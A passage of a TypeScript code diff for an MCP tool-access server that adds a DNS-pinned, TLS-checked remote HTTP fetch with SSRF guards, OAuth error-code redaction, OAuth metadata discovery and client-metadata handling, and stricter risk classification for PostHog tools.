"remote_http_private_endpoint", + ); + } + + if (!useTls) return raw; + + const secure = tlsConnect({ + socket: raw, + // The certificate is checked against the hostname the operator configured, + // not the pinned address, and SNI carries that hostname too. + servername: isIP(hostname) === 0 ? hostname : undefined, + host: hostname, + }); + try { + await once(secure, "secureConnect", { signal, timeoutMs: connectTimeoutMs, what: "negotiate TLS with" }); + } catch (error) { + secure.destroy(); + raw.destroy(); + if (signal?.aborted) throw error; + throw new UnreachableAddressError(error); + } + return secure; +} + +async function sendRequest(input: { + endpoint: URL; + hostname: string; + port: number; + useTls: boolean; + socket: Socket; + init: RequestInit; + signal: AbortSignal | null; + responseTimeoutMs: number; + error: RemoteHttpEndpointErrorFactory; +}): Promise { + const { endpoint, hostname, port, useTls, socket, init, signal, responseTimeoutMs, error } = input; + const headers = new Headers(init.headers); + const body = readRequestBody(init.body); + const method = (init.method ?? "GET").toUpperCase(); + + if (body !== undefined && !headers.has("content-length") && !headers.has("transfer-encoding")) { + headers.set("content-length", String(body.byteLength)); + } + if (init.body instanceof URLSearchParams && !headers.has("content-type")) { + headers.set("content-type", "application/x-www-form-urlencoded;charset=UTF-8"); + } + // `URL.host` already drops the port when it is the protocol default, so the + // peer sees the same `Host` a plain `fetch` would have sent. + headers.set("host", endpoint.host); + + const requestFn = useTls ? httpsRequest : httpRequest; + const message = await new Promise((resolve, reject) => { + const req = requestFn({ + method, + // `createConnection` returns the socket that was already verified, so no + // hostname reaches the socket layer and no second lookup can happen. It is + // only honoured while `agent` stays unset, so do not pass one. + createConnection: () => socket, + host: hostname, + port, + path: `${endpoint.pathname}${endpoint.search}`, + headers: Object.fromEntries(headers.entries()), + setHost: false, + ...(signal ? { signal } : {}), + }, resolve); + req.on("error", reject); + // Headers deadline. `req.setTimeout` is socket-idle based, which a server + // that dribbles bytes could reset forever, so hold a hard timer instead. + const headersTimer = setTimeout(() => { + // Destroying the request tears the socket down too, so a silent peer costs + // neither a pending handler nor a leaked descriptor. + req.destroy(error("Remote MCP endpoint did not respond in time", "remote_http_response_timeout")); + }, responseTimeoutMs); + headersTimer.unref?.(); + req.on("response", () => clearTimeout(headersTimer)); + req.on("error", () => clearTimeout(headersTimer)); + if (body !== undefined) req.write(body); + req.end(); + }); + + // Body idle deadline, mirroring undici's `bodyTimeout`: a stalled stream is + // destroyed so `response.text()` rejects instead of hanging the caller. + message.setTimeout(responseTimeoutMs, () => { + message.destroy(error("Remote MCP endpoint stalled mid-response", "remote_http_response_timeout")); + }); + // A finished response must not leave an armed socket timer behind, or a later + // reader of the same socket inherits a deadline it never asked for. + const disarm = () => message.setTimeout(0); + message.once("end", disarm); + message.once("close", disarm); + + const responseHeaders = new Headers(); + for (const [key, value] of Object.entries(message.headers)) { + if (Array.isArray(value)) { + for (const entry of value) responseHeaders.append(key, entry); + } else if (value !== undefined) { + responseHeaders.append(key, value); + } + } + + const status = message.statusCode ?? 502; + const nullBody = NULL_BODY_STATUSES.has(status) || method === "HEAD"; + if (nullBody) message.resume(); + + return new Response( + nullBody ? null : (Readable.toWeb(decodedBody(message, responseHeaders)) as unknown as ReadableStream), + { status, statusText: message.statusMessage ?? "", headers: responseHeaders }, + ); +} + +/** + * Match `fetch`'s content decoding. `node:http` hands back the raw bytes, so a + * server that compresses without being asked would otherwise turn into a JSON + * parse failure that looks like a broken MCP server. + */ +function decodedBody(message: IncomingMessage, headers: Headers): Readable { + const encoding = (message.headers["content-encoding"] ?? "").trim().toLowerCase(); + const decoder = encoding === "gzip" || encoding === "x-gzip" + ? createGunzip() + : encoding === "deflate" + ? createInflate() + : encoding === "br" + ? createBrotliDecompress() + : null; + if (!decoder) return message; + headers.delete("content-encoding"); + headers.delete("content-length"); + message.on("error", (error) => decoder.destroy(error)); + return message.pipe(decoder); +} + +function readRequestBody(body: RequestInit["body"]): Buffer | undefined { + if (body === undefined || body === null) return undefined; + if (typeof body === "string") return Buffer.from(body, "utf8"); + if (body instanceof URLSearchParams) return Buffer.from(body.toString(), "utf8"); + if (Buffer.isBuffer(body)) return body; + if (body instanceof ArrayBuffer) return Buffer.from(body); + if (ArrayBuffer.isView(body)) return Buffer.from(body.buffer, body.byteOffset, body.byteLength); + throw new TypeError("Guarded remote HTTP requests only support string, URLSearchParams and buffer bodies"); +} + +function once( + emitter: Socket, + event: string, + input: { signal: AbortSignal | null; timeoutMs: number; what: string }, +): Promise { + return new Promise((resolve, reject) => { + const timer = setTimeout(() => { + settle(new Error(`Timed out trying to ${input.what} the remote MCP endpoint`)); + }, input.timeoutMs); + timer.unref?.(); + + const onAbort = () => settle(input.signal?.reason ?? new Error("Remote MCP request was aborted")); + + function settle(error?: Error) { + clearTimeout(timer); + emitter.off(event, onSuccess); + emitter.off("error", onError); + input.signal?.removeEventListener?.("abort", onAbort); + if (error) reject(error); + else resolve(); + } + function onSuccess() { + settle(); + } + function onError(error: Error) { + settle(error); + } + + emitter.once(event, onSuccess); + emitter.once("error", onError); + input.signal?.addEventListener?.("abort", onAbort, { once: true }); + }); +} diff --git a/server/src/services/tool-access-policy.ts b/server/src/services/tool-access-policy.ts index ae5f9a46db..311c15976e 100644 --- a/server/src/services/tool-access-policy.ts +++ b/server/src/services/tool-access-policy.ts @@ -42,7 +42,10 @@ import type { } from "@paperclipai/shared"; import { toolPolicyConditionsSchema } from "@paperclipai/shared"; import { badRequest, conflict, notFound, unprocessable } from "../errors.js"; -import { narrowestScopeBindings, profileIdsInBindingOrder } from "./tool-profile-binding-precedence.js"; +import { + effectiveToolProfileBindings, + profileIdsInBindingOrder, +} from "./tool-profile-binding-precedence.js"; import { recordToolRuntimeAuditWriteFailure } from "./tool-runtime-metrics.js"; type ToolAccessContext = { @@ -1002,11 +1005,16 @@ export function toolAccessPolicyService(db: Db) { async function effectiveProfiles(ctx: ToolAccessContext) { const bindings = await db.select().from(toolProfileBindings).where(eq(toolProfileBindings.companyId, ctx.companyId)); - const activeBindings = narrowestScopeBindings(bindings.filter((binding) => targetMatches(binding, ctx))); - if (activeBindings.length === 0) return { profiles: [], entries: [] as Array }; + const matchingBindings = bindings.filter((binding) => targetMatches(binding, ctx)); + if (matchingBindings.length === 0) return { profiles: [], entries: [] as Array }; + const candidateProfileIds = profileIdsInBindingOrder(matchingBindings); + const candidateProfiles = await db.select().from(toolProfiles).where(and( + eq(toolProfiles.companyId, ctx.companyId), + inArray(toolProfiles.id, candidateProfileIds), + )); + const activeBindings = effectiveToolProfileBindings(matchingBindings, candidateProfiles, ctx.connectionId); const profileIds = profileIdsInBindingOrder(activeBindings); - const profiles = await db.select().from(toolProfiles).where(and(eq(toolProfiles.companyId, ctx.companyId), inArray(toolProfiles.id, profileIds))); - const profilesById = new Map(profiles.map((profile) => [profile.id, profile])); + const profilesById = new Map(candidateProfiles.map((profile) => [profile.id, profile])); const activeProfiles = profileIds .map((profileId) => profilesById.get(profileId) ?? null) .filter((profile): profile is typeof toolProfiles.$inferSelect => Boolean(profile && profile.status === "active")); diff --git a/server/src/services/tool-access.ts b/server/src/services/tool-access.ts index 90e0bab144..2a68a8aca2 100644 --- a/server/src/services/tool-access.ts +++ b/server/src/services/tool-access.ts @@ -1,6 +1,6 @@ import { createHash, randomBytes, randomUUID } from "node:crypto"; import { readFileSync } from "node:fs"; -import { and, asc, desc, eq, gte, inArray, lt, max, ne, sql } from "drizzle-orm"; +import { and, asc, desc, eq, gte, inArray, isNull, lt, max, ne, sql } from "drizzle-orm"; import type { Db } from "@paperclipai/db"; import { activityLog, @@ -27,7 +27,9 @@ import { toolCallEvents, toolInvocations, toolPolicies, + toolGatewaySessions, toolMcpGateways, + toolMcpGatewayTokens, toolProfileBindings, toolProfileEntries, toolProfiles, @@ -36,6 +38,7 @@ import { } from "@paperclipai/db"; import type { AppDefinition, + ConnectionMethodDef, ConnectionTokenIssuanceOutcome, ConnectionTokenIssuancePath, ConnectionTokenRequest, @@ -63,8 +66,11 @@ import type { ToolConnection, ToolConnectionInstall, ToolConnectionInstallSnapshot, + ToolConnectionRemovalResult, + ToolConnectionRemovalSummary, ToolConnectionHealthCheckResult, ToolConnectionHealthStatus, + ToolConnectionAuthKind, ToolConnectionTransport, ToolOAuthStartResult, ToolAppsAttentionResponse, @@ -107,15 +113,37 @@ import type { UpdateToolProfileWithEntries, UnbindToolProfileBinding, } from "@paperclipai/shared"; -import { CLASS3_STATIC_LEASE_ALLOWLIST, credentialConfigPath, getAvailableConnectionMethod, getConnectableAppDefinition, isToolConnectionAttentionHealth, recommendedDefaultsForApp } from "@paperclipai/shared"; +import { CLASS3_STATIC_LEASE_ALLOWLIST, credentialConfigPath, getAvailableConnectionMethod, getAvailableConnectionMethods, getConnectableAppDefinition, isToolConnectionAttentionHealth, recommendedDefaultsForApp } from "@paperclipai/shared"; +import { + checkMcpRemoteHeaderName, + checkMcpRemoteHeaderValue, + mcpRemoteHeaderNameFromConfigPath, + mcpRemoteHeaderRejectionMessage, +} from "@paperclipai/shared"; +import { + checkOAuthEndpointUrl, + oauthEndpointUrlRejectionMessage, + type OAuthEndpointKind, + type OAuthEndpointUrlRejection, +} from "@paperclipai/shared"; import { badRequest, conflict, forbidden, HttpError, notFound, unprocessable } from "../errors.js"; +import { logger } from "../middleware/logger.js"; import { logActivity } from "./activity-log.js"; import { mcpHttpRequestHeaders, parseMcpHttpResponseBody } from "./mcp-http.js"; -import { assertPublicRemoteHttpEndpoint, parseRemoteHttpEndpoint } from "./remote-http-endpoint-guard.js"; +import { + assertPublicRemoteHttpEndpoint, + parseRemoteHttpEndpoint, + type RemoteHttpEndpointLookup, +} from "./remote-http-endpoint-guard.js"; +import { guardedRemoteHttpFetch, type GuardedRemoteHttpFetchOptions } from "./remote-http-fetch.js"; import { secretService } from "./secrets.js"; import { toolAccessPolicyService } from "./tool-access-policy.js"; import { readSignedToolArgumentsPayload } from "./tool-content-guards.js"; -import { narrowestScopeBindings, profileIdsInBindingOrder } from "./tool-profile-binding-precedence.js"; +import { + effectiveToolProfileBindings, + narrowestScopeBindings, + profileIdsInBindingOrder, +} from "./tool-profile-binding-precedence.js"; import { recordToolRuntimeAuditWriteFailure, TOOL_RUNTIME_AUDIT_WRITE_FAILURE_METRIC } from "./tool-runtime-metrics.js"; import { createToolRuntimeSupervisor, ToolRuntimeSupervisorError } from "./tool-runtime-supervisor.js"; @@ -134,6 +162,181 @@ const OAUTH_REFRESH_LEASE_MS = 120_000; const OAUTH_REFRESH_LEASE_WAIT_MS = 30_000; const OAUTH_REFRESH_LEASE_POLL_MS = 25; +/** + * Upstream OAuth error redaction (PAP-17108). + * + * A generic remote MCP connection points at an arbitrary authorization server, + * so everything that server says about a failure is attacker-chosen: `error`, + * `error_description`, `error_uri`, and the response body. Paperclip surfaces + * connection failures to the operator through API responses, board UI copy, + * audit rows and logs, so reflecting any of that text would let a hostile + * provider plant secrets, ANSI escapes, or instructions ("paste your recovery + * key here") into Paperclip's own voice. + * + * The rule is therefore: the operator only ever reads text Paperclip authored. + * The provider's `error` code survives — as a *label* in structured `details`, + * never in a message — and only when it is one of the codes the RFCs define, + * because a label is still untrusted input. Everything else is dropped, and an + * unrecognized code collapses to `unrecognized` rather than being echoed. + * + * `error_description` and the response body are never read at all: no call site + * below parses them, which is what keeps a future edit from quietly + * reintroducing the reflection. + */ +const OAUTH_PROVIDER_ERROR_CODES = new Set([ + // RFC 6749 §4.1.2.1 — authorization endpoint (the callback-denial path). + "access_denied", + "invalid_request", + "invalid_scope", + "server_error", + "temporarily_unavailable", + "unauthorized_client", + "unsupported_response_type", + // RFC 6749 §5.2 — token endpoint (authorization-code and refresh exchanges). + "invalid_client", + "invalid_grant", + "unsupported_grant_type", + // RFC 7591 §3.2.2 — dynamic client registration. + "invalid_client_metadata", + "invalid_redirect_uri", + "invalid_software_statement", + "unapproved_software_statement", + // OpenID Connect Core §3.1.2.6 — interactive re-authentication prompts. + "account_selection_required", + "consent_required", + "interaction_required", + "login_required", +]); + +/** What an `error` that is absent, malformed, or off the allowlist becomes. */ +const UNRECOGNIZED_OAUTH_PROVIDER_ERROR = "unrecognized"; +const MAX_OAUTH_PROVIDER_ERROR_LENGTH = 64; +const OAUTH_PROVIDER_ERROR_PATTERN = /^[a-z0-9_-]+$/; + +/** + * Stable, Paperclip-authored operator copy for each allowlisted provider error. + * Deliberately keyed on the code alone: the calling context is already carried + * by the Paperclip `code` in `details`, so one table serves the callback, + * token-exchange and registration paths without any of them composing a message + * out of provider text. + */ +const OAUTH_PROVIDER_ERROR_MESSAGES: Record = { + access_denied: "The authorization server denied the request.", + account_selection_required: "The authorization server needs an account to be selected. Try connecting again.", + consent_required: "The authorization server needs consent to be granted. Try connecting again.", + interaction_required: "The authorization server needs to be signed in to interactively. Try connecting again.", + invalid_client: "The authorization server rejected Paperclip's OAuth client.", + invalid_client_metadata: "The authorization server rejected Paperclip's client registration details.", + invalid_grant: "The authorization server rejected the authorization code or refresh token.", + invalid_redirect_uri: "The authorization server rejected Paperclip's callback URL.", + invalid_request: "The authorization server rejected the request as malformed.", + invalid_scope: "The authorization server rejected the requested permissions.", + invalid_software_statement: "The authorization server rejected Paperclip's client registration details.", + login_required: "The authorization server needs to be signed in to. Try connecting again.", + server_error: "The authorization server reported an internal error. Try again shortly.", + temporarily_unavailable: "The authorization server is temporarily unavailable. Try again shortly.", + unapproved_software_statement: "The authorization server rejected Paperclip's client registration details.", + unauthorized_client: "The authorization server refused to authorize Paperclip's OAuth client.", + unsupported_grant_type: "The authorization server does not support the grant Paperclip uses.", + unsupported_response_type: "The authorization server does not support the sign-in flow Paperclip uses.", +}; + +/** + * Reduce a provider-supplied `error` to a bounded, allowlisted label safe to + * keep in structured `details`. Returns `null` only when the provider sent no + * `error` at all, so the caller can tell "silent failure" from "said something + * Paperclip does not recognize". + */ +function normalizeOAuthProviderError(value: unknown): string | null { + if (typeof value !== "string" || value.length === 0) return null; + // Bound length and character class before the allowlist even though + // membership implies both: these limits are what keeps the label safe if the + // allowlist above ever grows a pattern-matched entry. + if (value.length > MAX_OAUTH_PROVIDER_ERROR_LENGTH) return UNRECOGNIZED_OAUTH_PROVIDER_ERROR; + if (!OAUTH_PROVIDER_ERROR_PATTERN.test(value)) return UNRECOGNIZED_OAUTH_PROVIDER_ERROR; + return OAUTH_PROVIDER_ERROR_CODES.has(value) ? value : UNRECOGNIZED_OAUTH_PROVIDER_ERROR; +} + +/** Paperclip's own message for a provider failure, never the provider's. */ +function oauthProviderErrorMessage(providerError: string | null, fallback: string): string { + if (!providerError) return fallback; + return OAUTH_PROVIDER_ERROR_MESSAGES[providerError] ?? fallback; +} + +/** + * Where this deployment publishes its Client ID Metadata Document. The document's + * own URL is the `client_id` Paperclip presents, so this path is a stable part of + * the deployment's public contract with every authorization server that has seen + * it — changing it invalidates existing CIMD registrations. + */ +export const OAUTH_CLIENT_ID_METADATA_DOCUMENT_PATH = "/api/tools/oauth/client-metadata"; + +/** + * Resolve the URL Paperclip would use as a CIMD client id, but only when its + * hostname is not known to resolve into a private network. + * + * An authorization server fetches this URL from outside Paperclip's network and + * will normally apply an SSRF guard. Tailscale/MagicDNS names are HTTPS but + * resolve into 100.64.0.0/10, so presenting one as a client id can only produce + * an `invalid_client` response. A local DNS failure remains inconclusive because + * split-horizon public DNS may still let the authorization server resolve it. + */ +export async function resolveOAuthClientIdMetadataDocumentUrl( + redirectUri: string, + lookup?: RemoteHttpEndpointLookup, +): Promise { + try { + const parsed = new URL(redirectUri); + if (parsed.protocol !== "https:") return null; + const hostname = parsed.hostname.replace(/^\[|\]$/g, "").toLowerCase(); + const isLoopback = hostname === "localhost" + || hostname.endsWith(".localhost") + || hostname === "::1" + || /^127(?:\.\d{1,3}){3}$/.test(hostname); + if (isLoopback) return null; + const metadataUrl = new URL(OAUTH_CLIENT_ID_METADATA_DOCUMENT_PATH, parsed.origin).toString(); + try { + await assertPublicRemoteHttpEndpoint( + new URL(metadataUrl), + { allowPrivateNetwork: false, lookup }, + (message, code) => Object.assign(new Error(message), { code }), + ); + } catch (error) { + if ( + error instanceof Error + && "code" in error + && error.code === "remote_http_private_endpoint" + ) { + return null; + } + } + return metadataUrl; + } catch { + return null; + } +} + +/** + * Paperclip's client metadata for CIMD (RFC 7591 metadata, served rather than + * registered). Only the callback for this deployment appears in it, so an + * authorization server that fetches it can see exactly one legal redirect target. + */ +export function oauthClientIdMetadataDocument(input: { + clientId: string; + redirectUri: string; +}): Record { + return { + client_id: input.clientId, + client_name: `Paperclip (${new URL(input.redirectUri).host})`, + client_uri: new URL("/", input.clientId).toString(), + redirect_uris: [input.redirectUri], + grant_types: ["authorization_code", "refresh_token"], + response_types: ["code"], + token_endpoint_auth_method: "none", + application_type: "web", + }; +} + type OAuthProviderEndpoints = { provider: string; scopes: string[]; @@ -144,8 +347,106 @@ type OAuthProviderEndpoints = { tokenEndpointAuthMethodsSupported?: string[]; grantType?: "authorization_code" | "client_credentials"; metadataUrl?: string | null; + /** + * Canonical authorization-server issuer, when discovery found one. Registered + * client material is bound to it, `iss` on the callback is validated against + * it, and reconnect/refresh reuse it instead of re-deriving a provider key. + */ + issuer?: string | null; + /** + * RFC 8707 resource indicator: the MCP endpoint the token is for. Sent on both + * authorization and token requests so the authorization server can audience- + * restrict the access token to this server rather than to everything Paperclip + * has ever connected. + */ + resource?: string | null; + /** The authorization server advertised support for Client ID Metadata Documents. */ + clientIdMetadataDocumentSupported?: boolean; }; +/** + * Where an OAuth client came from, in the preference order the current MCP + * client-registration guidance recommends (PAP-17087). + */ +type OAuthClientRegistrationSource = "preconfigured" | "cimd" | "dcr" | "manual"; + +/** + * RFC 8414 §3.1 requires the well-known path to be *inserted between* the + * issuer host and its path component, but a large amount of deployed software + * only serves the naive suffix form. OpenID Connect Discovery 1.0 in turn + * specifies the suffix form. Try all of them for an issuer that has a path, and + * the plain origin form when it doesn't. + */ +function wellKnownMetadataUrls(issuer: string): string[] { + let parsed: URL; + try { + parsed = new URL(issuer); + } catch { + return []; + } + const suffixes = ["oauth-authorization-server", "openid-configuration"]; + const path = parsed.pathname.replace(/\/+$/, ""); + const urls: string[] = []; + for (const suffix of suffixes) { + if (path) { + // RFC 8414: https://host/.well-known/ + urls.push(new URL(`/.well-known/${suffix}${path}`, parsed.origin).toString()); + // OIDC Discovery / widely deployed: https://host/.well-known/ + urls.push(new URL(`${path}/.well-known/${suffix}`, parsed.origin).toString()); + } + urls.push(new URL(`/.well-known/${suffix}`, parsed.origin).toString()); + } + return [...new Set(urls)]; +} + +/** + * Protected-resource metadata lives at `/.well-known/oauth-protected-resource` + * with the resource's path appended (RFC 9728 §3.1). Probe the path-aware form + * first so a multi-tenant host that serves several MCP servers resolves to the + * right one, then fall back to the origin form. + */ +function protectedResourceMetadataUrls(endpoint: URL): string[] { + const path = endpoint.pathname.replace(/\/+$/, ""); + const urls: string[] = []; + if (path) urls.push(new URL(`/.well-known/oauth-protected-resource${path}`, endpoint.origin).toString()); + urls.push(new URL("/.well-known/oauth-protected-resource", endpoint.origin).toString()); + return [...new Set(urls)]; +} + +/** + * Canonical RFC 8707 resource indicator for an MCP endpoint: origin + path, with + * query, fragment and any trailing slash removed. Vendor query parameters belong + * to the connection config, not to the token audience. + */ +function canonicalResourceIndicator(endpoint: string): string | null { + try { + const parsed = new URL(endpoint); + const path = parsed.pathname.replace(/\/+$/, ""); + return `${parsed.origin}${path}`; + } catch { + return null; + } +} + +/** + * Two issuers are the same authorization server only when scheme, host, port and + * path match exactly (a trailing slash is not significant). Used for `iss` + * validation on the callback and for detecting that a stored registration is + * bound to a different server than the one we just discovered. + */ +function sameOAuthIssuer(a: string | null | undefined, b: string | null | undefined): boolean { + if (!a || !b) return false; + try { + const left = new URL(a); + const right = new URL(b); + return left.protocol === right.protocol + && left.host === right.host + && left.pathname.replace(/\/+$/, "") === right.pathname.replace(/\/+$/, ""); + } catch { + return false; + } +} + const oauthRegistrationFlights = new Map>(); async function oauthSingleFlight( @@ -169,6 +470,8 @@ type ToolAccessServiceOptions = { deploymentExposure?: DeploymentExposure; trustedLocalStdioRuntimeHost?: string | null; now?: () => Date; + /** Test seam for deciding whether an OAuth client metadata URL is publicly resolvable. */ + oauthClientMetadataLookup?: RemoteHttpEndpointLookup; }; type DbTransaction = Parameters[0]>[0]; @@ -452,14 +755,24 @@ export function googleSheetsRobotEmailFromEnv( return { available: false, reason: "Google Sheets is not available on this instance yet." }; } -function connectionMethodFor(app: AppDefinition) { - const method = getAvailableConnectionMethod(app); +function connectionMethodFor(app: AppDefinition, methodKey?: string | null) { + const method = getAvailableConnectionMethod(app, methodKey); if (!method) throw unprocessable("This app does not have an available connection method"); return method; } -function credentialFieldsFor(app: AppDefinition) { - const method = connectionMethodFor(app); +function connectionMethodForConnection( + app: AppDefinition, + connection: typeof toolConnections.$inferSelect, +) { + const methodKey = typeof connection.config.connectionMethodKey === "string" + ? connection.config.connectionMethodKey + : null; + return connectionMethodFor(app, methodKey); +} + +function credentialFieldsFor(app: AppDefinition, methodKey?: string | null) { + const method = connectionMethodFor(app, methodKey); return (method.credentialFields ?? []).map((field) => ({ label: field.label, configPath: credentialConfigPath(field), @@ -471,6 +784,75 @@ function credentialFieldsFor(app: AppDefinition) { })); } +export function normalizeConnectionMethodConfig( + method: ConnectionMethodDef, + configValues: Record | undefined, +): { values: Record; url?: string; headers?: Record } { + const fields = [...(method.tenantFields ?? []), ...(method.extensionFields ?? [])]; + const allowedKeys = new Set(fields.map((field) => field.key)); + for (const key of Object.keys(configValues ?? {})) { + if (!allowedKeys.has(key)) throw badRequest(`Unknown connection setting: ${key}`); + } + + const values: Record = {}; + for (const field of fields) { + const raw = configValues?.[field.key] ?? field.defaultValue; + if (field.type === "checkbox") { + if (raw !== undefined && typeof raw !== "boolean") throw badRequest(`${field.label} must be true or false`); + if (raw !== undefined) values[field.key] = raw; + continue; + } + if (raw !== undefined && typeof raw !== "string") throw badRequest(`${field.label} must be text`); + let value = raw?.trim() ?? ""; + if (field.transport?.format === "csv") { + value = Array.from(new Set(value.split(/[\n,]/g).map((entry) => entry.trim()).filter(Boolean))).join(","); + } + if (field.required && !value) throw badRequest(`Missing connection setting: ${field.label}`); + if (!value) continue; + if (field.validation?.maxLength && value.length > field.validation.maxLength) { + throw badRequest(`${field.label} must be at most ${field.validation.maxLength} characters`); + } + if (field.validation?.pattern && !new RegExp(field.validation.pattern).test(value)) { + throw badRequest(`${field.label} has an invalid value`); + } + if (field.type === "select" && !field.options?.some((option) => option.value === value)) { + throw badRequest(`${field.label} has an invalid option`); + } + values[field.key] = value; + } + for (const keys of method.configRequirements?.atLeastOneOf ? [method.configRequirements.atLeastOneOf] : []) { + if (!keys.some((key) => typeof values[key] === "string" && values[key].length > 0)) { + throw badRequest(`Provide at least one of: ${keys.join(", ")}`); + } + } + + const endpoint = method.defaults?.serverUrl ? new URL(method.defaults.serverUrl) : null; + const headers: Record = {}; + for (const field of fields) { + const transport = field.transport; + const value = values[field.key]; + if (!transport || value === undefined || (value === false && transport.omitFalse)) continue; + const serialized = typeof value === "boolean" ? String(value) : value; + if (transport.location === "query") endpoint?.searchParams.set(transport.name, serialized); + else headers[transport.name] = serialized; + } + return { + values, + ...(endpoint ? { url: endpoint.toString() } : {}), + ...(Object.keys(headers).length > 0 ? { headers } : {}), + }; +} + +export function projectedConnectionHeaders(connection: typeof toolConnections.$inferSelect): Record { + const sourceTemplateKey = typeof connection.config.sourceTemplateKey === "string" + ? connection.config.sourceTemplateKey + : null; + const app = sourceTemplateKey ? getConnectableAppDefinition(sourceTemplateKey) : null; + if (!app) return {}; + const method = connectionMethodForConnection(app, connection); + return normalizeConnectionMethodConfig(method, asRecord(connection.config.methodConfig)).headers ?? {}; +} + function googleSheetsAllowedSpreadsheetIds(configValues: Record | undefined): string[] { const raw = configValues?.allowedSpreadsheetIds; const values = Array.isArray(raw) ? raw : typeof raw === "string" ? raw.split(/[\n,]/g) : []; @@ -557,6 +939,48 @@ function connectionUid(namespace: string, name: string, connectionId: string) { return `${normalizeKey(namespace)}/${normalizeKey(name)}-${connectionId.slice(0, 8)}`; } +/** + * The key namespace `connectGalleryApp`, `reconnectGalleryApp` and + * `createOrRotateOAuthSecret` mint for credentials a connection owns outright. + * Nothing else writes this prefix, which is what lets removal tell a dedicated + * app credential apart from a secret the operator manages by hand — see + * `classifyConnectionSecrets`. Matched as a prefix on purpose: `secrets.remove` + * suffixes `__deleted__` onto the key before it deletes the row, so a + * removal that is retried after a provider failure must still recognise it. + */ +const CONNECTION_OWNED_SECRET_KEY_PREFIX = "tool_app."; + +/** Token fields a legacy row may have inlined into `config.oauth`. */ +const INLINE_OAUTH_TOKEN_FIELDS = [ + "access_token", + "refresh_token", + "accessToken", + "refreshToken", + "client_secret", + "clientSecret", +]; + +/** + * Drop inline OAuth token material from a connection config, keeping the + * non-secret identity (client id, issuer, registration source) a later + * reconnect reuses. Current code stores tokens as secret refs, never in the + * config; this exists so a row written by an older build cannot keep a usable + * token after the operator removed the app. + */ +function withoutInlineOAuthTokens(config: Record): Record { + const oauth = config.oauth; + if (!oauth || typeof oauth !== "object" || Array.isArray(oauth)) return config; + const next = { ...(oauth as Record) }; + let changed = false; + for (const field of INLINE_OAUTH_TOKEN_FIELDS) { + if (field in next) { + delete next[field]; + changed = true; + } + } + return changed ? { ...config, oauth: next } : config; +} + function actorBinding(actor: ActorInfo | undefined) { return { actorType: actor?.actorType ?? null, @@ -1273,6 +1697,7 @@ export function classifyRisk(tool: McpToolDescriptor, sourceTemplateKey?: string const annotations = tool.annotations ?? {}; if (annotations.destructiveHint === true || annotations.destructive === true) return "destructive"; const normalizedToolName = normalizedProviderToolName(tool.name); + if (sourceTemplateKey === "posthog" && normalizedToolName === "exec") return "destructive"; // Notion's hosted MCP catalog contains mutations whose names do not use one // of the generic create/update/delete verbs (move, duplicate, and convert). // Keep all reviewed tools explicit so provider changes are visible in code, @@ -1282,6 +1707,9 @@ export function classifyRisk(tool: McpToolDescriptor, sourceTemplateKey?: string if (sourceTemplateKey === "notion" && NOTION_READ_TOOLS.has(normalizedToolName)) return "read"; if (verbMatches(tool.name, "delete|remove|destroy|unpublish")) return "destructive"; if (verbMatches(tool.name, "create|update|write|set|send|publish|post|mutate|mark|archive")) return "write"; + // PostHog exposes a broad and evolving catalog. Unknown tools must never be + // silently treated as reads; provider annotations can opt known reads in. + if (sourceTemplateKey === "posthog") return annotations.readOnlyHint === true ? "read" : "write"; return "read"; } @@ -1296,9 +1724,41 @@ function descriptorHash(tool: McpToolDescriptor, riskLevel: ToolRiskLevel): stri }); } +/** + * Did this error come from the OAuth endpoint gate (PAP-17099)? Such a refusal + * is Paperclip's own decision about an unsafe address, so it must keep its code + * and its 422 instead of being folded into a generic upstream failure. + */ +function originOf(value: string | null | undefined): string | null { + if (!value) return null; + try { + return new URL(value).origin; + } catch { + return null; + } +} + +function isOAuthEndpointRejection(error: unknown): boolean { + if (!(error instanceof HttpError)) return false; + const code = asRecord(error.details).code; + return typeof code === "string" && code.endsWith("_endpoint_rejected"); +} + +function healthFailureHttpStatus(failure: { status: ToolConnectionHealthStatus; code: string }): number { + if (failure.status === "missing_secret") return 422; + if (failure.code.endsWith("_endpoint_rejected")) return 422; + return 502; +} + function sanitizeHttpFailure(error: unknown): { status: ToolConnectionHealthStatus; message: string; code: string } { if (error instanceof HttpError) { const code = asRecord(error.details).code; + if (typeof code === "string" && code.startsWith("remote_http_")) { + return { status: "error", message: error.message, code }; + } + if (isOAuthEndpointRejection(error)) { + return { status: "error", message: error.message, code: String(code) }; + } if (code === "oauth_challenge") { return { status: "error", @@ -1390,12 +1850,29 @@ export function toolAccessService(db: Db, options: ToolAccessServiceOptions = {} return endpoint.toString(); } + function remoteHttpFetchOptions(): GuardedRemoteHttpFetchOptions { + return { + allowPrivateNetwork: allowPrivateRemoteEndpoints(), + error: (message, code) => badRequest(message, { code }), + }; + } + + /** + * Fetch an operator-supplied remote URL with the egress guard bound to the + * connection itself. + * + * `guardedRemoteHttpFetch` resolves the hostname once and dials the approved + * address, so a name server that answers public-then-private cannot move the + * connection onto a loopback or metadata address after validation + * (PAP-17098). Redirects stay manual and run the full guard again on the next + * hop, because a `Location` is just as attacker-controlled as the first URL. + */ async function fetchRemoteHttpUrl(value: string, init: RequestInit = {}): Promise { let currentUrl = value; const method = (init.method ?? "GET").toUpperCase(); for (let redirectCount = 0; redirectCount <= MAX_REMOTE_HTTP_REDIRECTS; redirectCount += 1) { - const safeUrl = await assertRemoteHttpUrlAllowed(currentUrl); - const response = await fetch(safeUrl, { ...init, redirect: "manual" }); + const endpoint = parseRemoteHttpEndpoint(currentUrl, (message, code) => badRequest(message, { code })); + const response = await guardedRemoteHttpFetch(endpoint, init, remoteHttpFetchOptions()); const location = REMOTE_HTTP_REDIRECT_STATUSES.has(response.status) ? response.headers?.get?.("location") ?? null : null; @@ -1406,7 +1883,7 @@ export function toolAccessService(db: Db, options: ToolAccessServiceOptions = {} if (redirectCount >= MAX_REMOTE_HTTP_REDIRECTS) { throw new HttpError(502, "Remote OAuth endpoint redirected too many times", { code: "oauth_redirect_limit" }); } - currentUrl = new URL(location, safeUrl).toString(); + currentUrl = new URL(location, endpoint).toString(); } throw new HttpError(502, "Remote OAuth endpoint redirected too many times", { code: "oauth_redirect_limit" }); } @@ -1415,6 +1892,151 @@ export function toolAccessService(db: Db, options: ToolAccessServiceOptions = {} return assertRemoteHttpUrlAllowed(remoteEndpoint(config)); } + function normalizeTokenBrokerAllowedHost(value: string): string | null { + const trimmed = value.trim(); + if (!trimmed) return null; + try { + const parsed = new URL(trimmed.includes("://") ? trimmed : `http://${trimmed}`); + return parsed.hostname.replace(/^\[|\]$/g, "").replace(/\.$/, "").toLowerCase() || null; + } catch { + // Invalid 